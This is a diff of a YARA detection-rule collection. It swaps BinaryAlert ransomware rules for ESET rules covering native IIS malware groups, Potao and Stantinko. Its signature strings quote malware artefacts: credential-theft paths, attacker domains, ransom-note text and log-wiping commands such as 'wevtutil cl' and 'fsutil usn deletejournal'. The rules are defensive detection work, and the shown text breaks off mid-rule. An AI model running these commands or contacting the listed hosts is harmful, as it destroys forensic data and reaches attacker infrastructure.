-		logic_hash = "1503ce9de4e721903058c77b305ba057052d654ff1875ea880f4319c3e525a29"
+		description = "Detects Group 7 native IIS malware family (IISpy)"
+		author = "ESET Research"
+		id = "64ed0189-a0be-5592-b9c6-1622700a7ed7"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L261-L296"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "ec5db5f36d06f9b0bdfe598fc72431da35afc1473dcc29f437a0f48ea9835a03"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "HKCU Run registry key applied" wide ascii
-		$a2 = "HKCU Run registry key failed" wide ascii
-		$a3 = "Error, platform unsupported." wide ascii
-		$a4 = "Persistence successful," wide ascii
-		$a5 = "Persistence unsuccessful," wide ascii
+		$s1 = "/credential/username"
+		$s2 = "/credential/password"
+		$s3 = "/computer/domain"
+		$s4 = "/computer/name"
+		$s5 = "/password"
+		$s6 = "/cmd"
+		$s7 = "%.8s%.8s=%.8s%.16s%.8s%.16s"
+		$s8 = "ImpersonateLoggedOnUser"
+		$s9 = "WNetAddConnection2W"
+		$t1 = "X-Forwarded-Proto"
+		$t2 = "Sec-Fetch-Mode"
+		$t3 = "Sec-Fetch-Site"
+		$t4 = "Cookie"
+		$t5 = {49 45 4E 44 AE 42 60 82}
+		$t6 = {89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52}
 
 	condition:
-		all of ($a*)
+		ESET_IIS_Native_Module_PRIVATE and 2 of ($s*) and any of ($t*)
 }
-rule BINARYALERT_Ransomware_Windows_Powerware_Locky
+import "pe"
+
+rule ESET_IIS_Group08
 {
 	meta:
-		description = "PowerWare Ransomware"
-		author = "@fusionrace"
-		id = "8a1a56af-7a9d-54ed-90b9-daf33735ee1e"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://researchcenter.paloaltonetworks.com/2016/07/unit42-powerware-ransomware-spoofing-locky-malware-family/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_powerware_locky.yara#L1-L17"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "3433a4da9d8794709630eb06afd2b8c1"
-		logic_hash = "64de34755f706a9fd4c876c473eed4f8922a4450c7ef135b0ab5e49c67363baf"
+		description = "Detects Group 8 native IIS malware family"
+		author = "ESET Research"
+		id = "d0e9a5ec-b7f0-5d3f-93b4-d048503eb210"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L298-L337"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "d5826d454d25ecbbb5da464da974023a247517d873cf10dc0eafa91e185451da"
 		score = 75
-		quality = 78
+		quality = 53
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$s0 = "ScriptRunner.dll" fullword ascii wide
-		$s1 = "ScriptRunner.pdb" fullword ascii wide
-		$s2 = "fixed.ps1" fullword ascii wide
+		$i1 = "FliterSecurity.dll"
+		$i2 = "IIS7NativeModule.dll"
+		$i3 = "Ver1.0."
+		$s1 = "Cmd"
+		$s2 = "Realy path : %s"
+		$s3 = "Logged On Users : %d"
+		$s4 = "Connect OK!"
+		$s5 = "You are fucked!"
+		$s6 = "Shit!Error"
+		$s7 = "Where is the God!!"
+		$s8 = "Shit!Download False!"
+		$s9 = "Good!Run OK!"
+		$s10 = "Shit!Run False!"
+		$s11 = "Good!Download OK!"
+		$s12 = "[%d]safedog"
+		$s13 = "ed81bfc09d069121"
+		$s14 = "a9478ef01967d190"
+		$s15 = "af964b7479e5aea2"
+		$s16 = "1f9e6526bea65b59"
+		$s17 = "2b9e9de34f782d31"
+		$s18 = "33cc5da72ac9d7bb"
+		$s19 = "b1d71f4c2596cd55"
+		$s20 = "101fb9d9e86d9e6c"
 
 	condition:
-		all of them
+		ESET_IIS_Native_Module_PRIVATE and 1 of ($i*) and 3 of ($s*)
 }
-rule BINARYALERT_Ransomware_Windows_Zcrypt
+import "pe"
+
+rule ESET_IIS_Group09
 {
 	meta:
-		description = "Zcrypt will encrypt data and append the .zcrypt extension to the filenames"
-		author = "@fusionrace"
-		id = "d79cd266-4e77-562c-975c-8bf72efe7242"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://blog.malwarebytes.com/threat-analysis/2016/06/zcrypt-ransomware/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_zcrypt.yara#L1-L23"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "d1e75b274211a78d9c5d38c8ff2e1778"
-		logic_hash = "df4073363da162e69f29493b5bfb4cb3f3d342357335c13ba6a3ac868607cb25"
+		description = "Detects Group 9 native IIS malware family"
+		author = "ESET Research"
+		id = "69d176bc-73b1-5c4d-bb7e-463d26e8e6a9"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L339-L387"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "5f89f9488221b8db8d493b3c23b7f5edd957c15511148eca890558886c128192"
 		score = 75
-		quality = 78
+		quality = 76
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$u1 = "How to Buy Bitcoins" ascii wide
-		$u2 = "ALL YOUR PERSONAL FILES ARE ENCRYPTED" ascii wide
-		$u3 = "Click Here to Show Bitcoin Address" ascii wide
-		$u4 = "MyEncrypter2.pdb" fullword ascii wide
-		$g1 = ".p7b" fullword ascii wide
-		$g2 = ".p7c" fullword ascii wide
-		$g3 = ".pdd" fullword ascii wide
-		$g4 = ".pef" fullword ascii wide
-		$g5 = ".pem" fullword ascii wide
-		$g6 = "How to decrypt files.html" fullword ascii wide
+		$i1 = "FliterSecurity.dll"
+		$i2 = {56565656565656565656565656565656}
+		$i3 = "app|hot|alp|svf|fkj|mry|poc|doc|20" xor
+		$i4 = "yisouspider|yisou|soso|sogou|m.sogou|sogo|sogou|so.com|baidu|bing|360" xor
+		$i5 = "baidu|m.baidu|soso|sogou|m.sogou|sogo|sogou|so.com|google|youdao" xor
+		$i6 = "118|abc|1go|evk" xor
+		$s1 = "AVCFuckHttpModuleFactory"
+		$s2 = "X-Forward"
+		$s3 = "fuck32.dat"
+		$s4 = "fuck64.dat"
+		$s5 = "&ipzz1="
+		$s6 = "&ipzz2="
+		$s7 = "&uuu="
+		$s8 = "http://20.3323sf.c" xor
+		$s9 = "http://bj.whtjz.c" xor
+		$s10 = "http://bj2.wzrpx.c" xor
+		$s11 = "http://cs.whtjz.c" xor
+		$s12 = "http://df.e652.c" xor
+		$s13 = "http://dfcp.yyphw.c" xor
+		$s14 = "http://es.csdsx.c" xor
+		$s15 = "http://hz.wzrpx.c" xor
+		$s16 = "http://id.3323sf.c" xor
+		$s17 = "http://qp.008php.c" xor
+		$s18 = "http://qp.nmnsw.c" xor
+		$s19 = "http://sc.300bt.c" xor
+		$s20 = "http://sc.wzrpx.c" xor
+		$s21 = "http://sf2223.c" xor
+		$s22 = "http://sx.cmdxb.c" xor
+		$s23 = "http://sz.ycfhx.c" xor
+		$s24 = "http://xpq.0660sf.c" xor
+		$s25 = "http://xsc.b1174.c" xor
 
 	condition:
-		any of ($u*) or all of ($g*)
+		ESET_IIS_Native_Module_PRIVATE and any of ($i*) and 3 of ($s*)
 }
-rule BINARYALERT_Ransomware_Windows_Petya_Variant_1
+import "pe"
+
+rule ESET_IIS_Group10
 {
 	meta:
-		description = "Petya Ransomware new variant June 2017 using ETERNALBLUE"
-		author = "@fusionrace"
-		id = "bf56c0e4-585c-509b-a182-a93c74be7524"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_1.yara#L1-L18"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "71b6a493388e7d0b40c83ce903bc6b04"
-		logic_hash = "3733834ee2271a483739b09c4222d222aa4899cab48fd8fc558bdbd9a66bf2d6"
+		description = "Detects Group 10 native IIS malware family"
+		author = "ESET Research"
+		id = "31368b38-9128-594d-888d-e97d3edc7a1f"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L389-L423"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "48701168d7da726222227ef757f1a4005a49c0bf300123319ce03db09445b3ef"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$s1 = "Ooops, your important files are encrypted." fullword ascii wide
-		$s2 = "Send your Bitcoin wallet ID and personal installation key to e-mail" fullword ascii wide
-		$s3 = "wowsmith123456@posteo.net. Your personal installation key:" fullword ascii wide
-		$s4 = "Send $300 worth of Bitcoin to following address:" fullword ascii wide
-		$s5 = "have been encrypted.  Perhaps you are busy looking for a way to recover your" fullword ascii wide
-		$s6 = "need to do is submit the payment and purchase the decryption key." fullword ascii wide
+		$s1 = "IIS7.dll"
+		$s2 = "<title>(.*?)title(.*?)>"
+		$s3 = "<meta(.*?)name(.*?)=(.*?)keywords(.*?)>"
+		$s4 = "<meta(.*?)name(.*?)=(.*?)description(.*?)>"
+		$s5 = "js.breakavs.co"
+		$s6 = "&#24494;&#20449;&#32676;&#45;&#36187;&#36710;&#80;&#75;&#49;&#48;&#32676;&#12304;&#36827;&#32676;&#24494;&#20449;&#102;&#117;&#110;&#53;&#55;&#54;&#52;&#52;&#12305;&#95;&#24184;&#36816;&#39134;&#33351;&#95;&#24184;&#36816;&#50;&#56;&#32676;"
+		$s7 = "&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#80;&#75;&#49;&#48;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24494;&#20449;&#32676;&#44;&#80;&#75;&#49;&#48;&#24494;&#20449;&#32676;&#44;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#32676;&#44;"
+		$s8 = "&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#12304;&#36827;&#32676;&#24494;&#20449;&#21495;&#102;&#117;&#110;&#53;&#55;&#54;&#52;&#52;&#12305;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;"
+		$e1 = "Baiduspider"
+		$e2 = "Sosospider"
+		$e3 = "Sogou web spider"
+		$e4 = "360Spider"
+		$e5 = "YisouSpider"
+		$e6 = "sogou.com"
+		$e7 = "soso.com"
+		$e8 = "uc.cn"
+		$e9 = "baidu.com"
+		$e10 = "sm.cn"
 
 	condition:
-		any of them
+		ESET_IIS_Native_Module_PRIVATE and 2 of ($e*) and 3 of ($s*)
 }
-rule BINARYALERT_Ransomware_Windows_Cryptolocker
+import "pe"
+
+rule ESET_IIS_Group11
 {
 	meta:
-		description = "The CryptoLocker malware propagated via infected email attachments, and via an existing botnet; when activated, the malware encrypts files stored on local and mounted network drives"
-		author = "@fusionrace"
-		id = "be205f4b-d078-5437-bacc-203c816db2fa"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://www.secureworks.com/research/cryptolocker-ransomware"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_cryptolocker.yara#L1-L21"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "012d9088558072bc3103ab5da39ddd54"
-		logic_hash = "317cbc01b4c329befeb5b25478f7827298a26d21b872ae232c519febd9c547fc"
+		description = "Detects Group 11 native IIS malware family"
+		author = "ESET Research"
+		id = "e9dac67a-1675-5198-ad26-d555696844f9"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L425-L455"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "a67b6b49b5fc2c7f260c06201c59478f5472de63091c510af82d526c410abb0c"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$u0 = "Paysafecard is an electronic payment method for predominantly online shopping" fullword ascii wide
-		$u1 = "bb to select the method of payment and the currency." fullword ascii wide
-		$u2 = "Where can I purchase a MoneyPak?" fullword ascii wide
-		$u3 = "Ukash is electronic cash and e-commerce brand." fullword ascii wide
-		$u4 = "You have to send below specified amount to Bitcoin address" fullword ascii wide
-		$u5 = "cashU is a prepaid online" fullword ascii wide
-		$u6 = "Your important files \\b encryption" fullword ascii wide
-		$u7 = "Encryption was produced using a \\b unique\\b0  public key" fullword ascii wide
-		$u8 = "then be used to pay online, or loaded on to a prepaid card or eWallet." fullword ascii wide
-		$u9 = "Arabic online gamers and e-commerce buyers." fullword ascii wide
+		$s1 = "DnsQuery_A"
+		$s2 = "&reurl="
+		$s3 = "&jump=1"
+		$s4 = "JVVRaeof"
+		$s5 = "ncpmg::0"
+		$s6 = "zkpzz0cnnuqwnw0eqo"
+		$s7 = "jvvr<11yyy0cnnuqwnw0eqo130rjrAeofqwv?"
 
 	condition:
-		2 of them
+		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
 }
-rule BINARYALERT_Ransomware_Windows_Petya_Variant_3
+import "pe"
+
+rule ESET_IIS_Group12
 {
 	meta:
-		description = "Petya Ransomware new variant June 2017 using ETERNALBLUE"
-		author = "@fusionrace"
-		id = "cbf06e62-abe8-54af-b4f4-624ba9233e4b"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_3.yara#L1-L13"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "71b6a493388e7d0b40c83ce903bc6b04"
-		logic_hash = "4f21b394eb2dd0ebf416b018f438934fdc89cb896701d95b593477fc19abfe48"
+		description = "Detects Group 12 native IIS malware family"
+		author = "ESET Research"
+		id = "7278f2df-d18a-5d95-9c21-37906629a7f0"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L457-L495"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "8da03328e3702aff8ea5de77fc220f326030c31972d27c0bd9b5918dca550aba"
 		score = 75
-		quality = 80
+		quality = 78
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$s1 = "wevtutil cl Setup & wevtutil cl System" fullword wide
-		$s2 = "fsutil usn deletejournal /D %c:" fullword wide
+		$s1 = "C:\\inetpub\\temp\\IIS Temporary Compressed Files\\"
+		$s2 = "F5XFFHttpModule.dll"
+		$s3 = "gtest_redir"
+		$s4 = "\\cmd.exe" nocase
+		$s5 = "iuuq;00"
+		$s6 = "?xhost="
+		$s7 = "&reurl="
+		$s8 = "?jump=1"
+		$s9 = "app|zqb"
+		$s10 = "ifeng|ivc|sogou|so.com|baidu|google|youdao|yahoo|bing|118114|biso|gougou|sooule|360|sm|uc"
+		$s11 = "sogou|so.com|baidu|google|youdao|yahoo|bing|gougou|sooule|360|sm.cn|uc"
+		$s12 = "Hotcss/|Hotjs/"
+		$s13 = "HotImg/|HotPic/"
+		$s14 = "msf connect error !!"
+		$s15 = "download ok !!"
+		$s16 = "download error !! "
+		$s17 = "param error !!"
+		$s18 = "Real Path: "
+		$s19 = "unknown cmd !"
+		$b1 = {15 BD 01 2E [-] 5E 40 08 97 [-] CF 8C BE 30 [-] 28 42 C6 3B}
+		$b2 = {E1 0A DC 39 [-] 49 BA 59 AB [-] BE 56 E0 57 [-] F2 0F 88 3E}
 
 	condition:
-		any of them
+		ESET_IIS_Native_Module_PRIVATE and 5 of them
 }
-rule BINARYALERT_Ransomware_Windows_Petya_Variant_2
+import "pe"
+
+rule ESET_IIS_Group13_Iiserpent
 {
 	meta:
-		description = "Petya Ransomware new variant June 2017 using ETERNALBLUE"
-		author = "@fusionrace"
-		id = "6401fd7e-5ef7-58b5-b8d3-a63c70e8daa3"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_2.yara#L1-L17"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "71b6a493388e7d0b40c83ce903bc6b04"
-		logic_hash = "7e04ffd0423cd1288af5c045bb06930abb732c0ea059e329cafc05faecb4f982"
+		description = "Detects Group 13 native IIS malware family (IISerpent)"
+		author = "ESET Research"
+		id = "f22dffb1-466f-5a7b-b9aa-de7ba991db1a"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L497-L523"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "7077b842c53ee1581ad4150cdfaac3502bfc0fbd3b823190ad648e09f36e442d"
 		score = 75
-		quality = 78
+		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$s1 = "dllhost.dat" fullword wide
-		$s2 = "\\\\%ws\\admin$\\%ws" fullword wide
-		$s3 = "%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\"" fullword wide
-		$s4 = "\\\\.\\PhysicalDrive" fullword wide
-		$s5 = ".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip." fullword wide
+		$s1 = "/mconfig/lunlian.txt"
+		$s2 = "http://sb.qrfy.ne"
+		$s3 = "folderlinkpath"
+		$s4 = "folderlinkcount"
+		$s5 = "onlymobilespider"
+		$s6 = "redirectreferer"
+		$s7 = "loadSuccessfull : "
+		$s8 = "spider"
+		$s9 = "<a href="
+		$s11 = "?ReloadModuleConfig=1"
+		$s12 = "?DisplayModuleConfig=1"
 
 	condition:
-		3 of them
+		ESET_IIS_Native_Module_PRIVATE and 5 of them
 }
-rule BINARYALERT_Ransomware_Windows_Petya_Variant_Bitcoin
+import "pe"
+
+rule ESET_IIS_Group14
 {
 	meta:
-		description = "Petya Ransomware new variant June 2017 using ETERNALBLUE: Bitcoin"
-		author = "@fusionrace"
-		id = "82d6ecc5-7c90-5d50-90ff-f54f8d87685d"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_bitcoin.yara#L1-L13"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "71b6a493388e7d0b40c83ce903bc6b04"
-		logic_hash = "9a5e183aa8e1387e76d5df4e967943b730ba780b6758af3ef23e21bb9e4ce3a6"
+		description = "Detects Group 14 native IIS malware family"
+		author = "ESET Research"
+		id = "c773b09e-9f24-5e75-ba80-4be69af70b06"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L525-L552"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "ef10a4dfb1a9164533677416a7c9ada715ce10bfc1e5f92b56cf54bd890d4575"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$s1 = "MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV/uHB0ZrlQ/wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy/+mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgq+CXsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu6zfhzuts7KafP5UA8/0Hmf5K3/F9Mf9SE68EZjK+cIiFlKeWndP0XfRCYXI9AJYCeaOu7CXF6U0AVNnNjvLeOn42LHFUK4o6JwIDAQAB" fullword wide
+		$i1 = "agent-self: %s"
+		$i2 = "/utf.php?key="
+		$i3 = "/self.php?v="
+		$i4 = "<script type=\"text/javascript\" src=\"//speed.wlaspsd.co"
+		$i5 = "now.asmkpo.co"
+		$s1 = "Baiduspider"
+		$s2 = "360Spider"
+		$s3 = "Sogou"
+		$s4 = "YisouSpider"
+		$s6 = "HTTP_X_FORWARDED_FOR"
 
 	condition:
-		$s1
+		ESET_IIS_Native_Module_PRIVATE and 2 of ($i*) or 5 of them
 }
-rule BINARYALERT_Ransomware_Windows_Hydracrypt
+rule ESET_Potao
 {
 	meta:
-		description = "HydraCrypt encrypts a victim’s files and appends the filenames with the extension “hydracrypt_ID_*"
-		author = "@fusionrace"
-		id = "9ebf205e-b6a9-55a3-b0c3-9b088790dc9a"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/hydracrypt-variant-of-ransomware-distributed-by-angler-exploit-kit/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_hydracrypt.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "08b304d01220f9de63244b4666621bba"
-		logic_hash = "3ecb3e6c269f4145e60b0e7bb0e896120ceb2db2123f847bf4bdf5d4490467d5"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "9c755cb8-9e3f-5118-a8e0-4ded9a075cbd"
+		date = "2015-07-29"
+		modified = "2015-07-30"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/potao/PotaoNew.yara#L96-L108"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "c68addb14f7c22cec0c4d58bfffd373b2e3eb5c53a5b65532c84574e073fcbba"
 		score = 75
 		quality = 80
 		tags = ""
-
-	strings:
-		$u0 = "oTraining" fullword ascii wide
-		$u1 = "Stop Training" fullword ascii wide
-		$u2 = "Play \"sound.wav\"" fullword ascii wide
-		$u3 = "&Start Recording" fullword ascii wide
-		$u4 = "7About record" fullword ascii wide
+		Author = "Anton Cherepanov"
+		Description = "Operation Potao"
+		Contact = "threatintel@eset.com"
+		License = "BSD 2-Clause"
 
 	condition:
-		all of them
+		ESET_Potaodecoy_PRIVATE or ESET_Potaodll_PRIVATE or ESET_Potaousb_PRIVATE or ESET_Potaosecondstage_PRIVATE
 }
-rule BINARYALERT_Ransomware_Windows_Cerber_Evasion
+import "pe"
+
+rule ESET_Beds_Plugin
 {
 	meta:
-		description = "Cerber Ransomware: Evades detection by machine learning applications"
-		author = "@fusionrace"
-		id = "6e2f44a9-bc0f-5071-9d80-ddfb778cfe5d"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "http://www.darkreading.com/vulnerabilities---threats/cerber-ransomware-now-evades-machine-learning/d/d-id/1328506"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_cerber_evasion.yara#L1-L15"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "bc62b557d48f3501c383f25d014f22df"
-		logic_hash = "43b3b8be5a23b57f6c671abd8491cdc51af1cf3a3fe8a7be308150697cdb92ea"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "7c038e92-1064-503e-9d63-2d2c10f1759e"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L34-L51"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "024cb91288f133e4cdf5993ac0477de6de76d38fa06f7affa348c6a28a4600da"
 		score = 75
 		quality = 80
 		tags = ""
-
-	strings:
-		$s1 = "38oDr5.vbs" fullword ascii wide
-		$s2 = "8ivq.dll" fullword ascii wide
-		$s3 = "jmsctls_progress32" fullword ascii wide
+		Author = "Frédéric Vachon"
+		Description = "Stantinko BEDS' plugins"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	condition:
-		all of them
+		pe.exports("CheckDLLStatus") and pe.exports("GetPluginData") and pe.exports("InitializePlugin") and pe.exports("IsReleased") and pe.exports("ReleaseDLL")
 }
-rule BINARYALERT_Ransomware_Windows_Wannacry
+import "pe"
+
+rule ESET_Beds_Dropper
 {
 	meta:
-		description = "wannacry ransomware for windows"
-		author = "@fusionrace"
-		id = "0269b6f4-a47d-5683-aaaa-2141ca7f04dc"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_wannacry.yara#L1-L23"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "4fef5e34143e646dbf9907c4374276f5"
-		logic_hash = "c01f460c0f5e39cde5f553c966553fe693e5203cb020b8f571eac6fc193fa91b"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "47ccab59-253f-55d4-b38a-4441802626fc"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L53-L67"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "4b5d121e182e3fddd766a7a1227c5de273995e9336156e7a6e8a17faad681bea"
 		score = 75
-		quality = 50
+		quality = 80
 		tags = ""
-
-	strings:
-		$a1 = "msg/m_chinese" wide ascii
-		$a2 = ".wnry" wide ascii
-		$a3 = "attrib +h" wide ascii
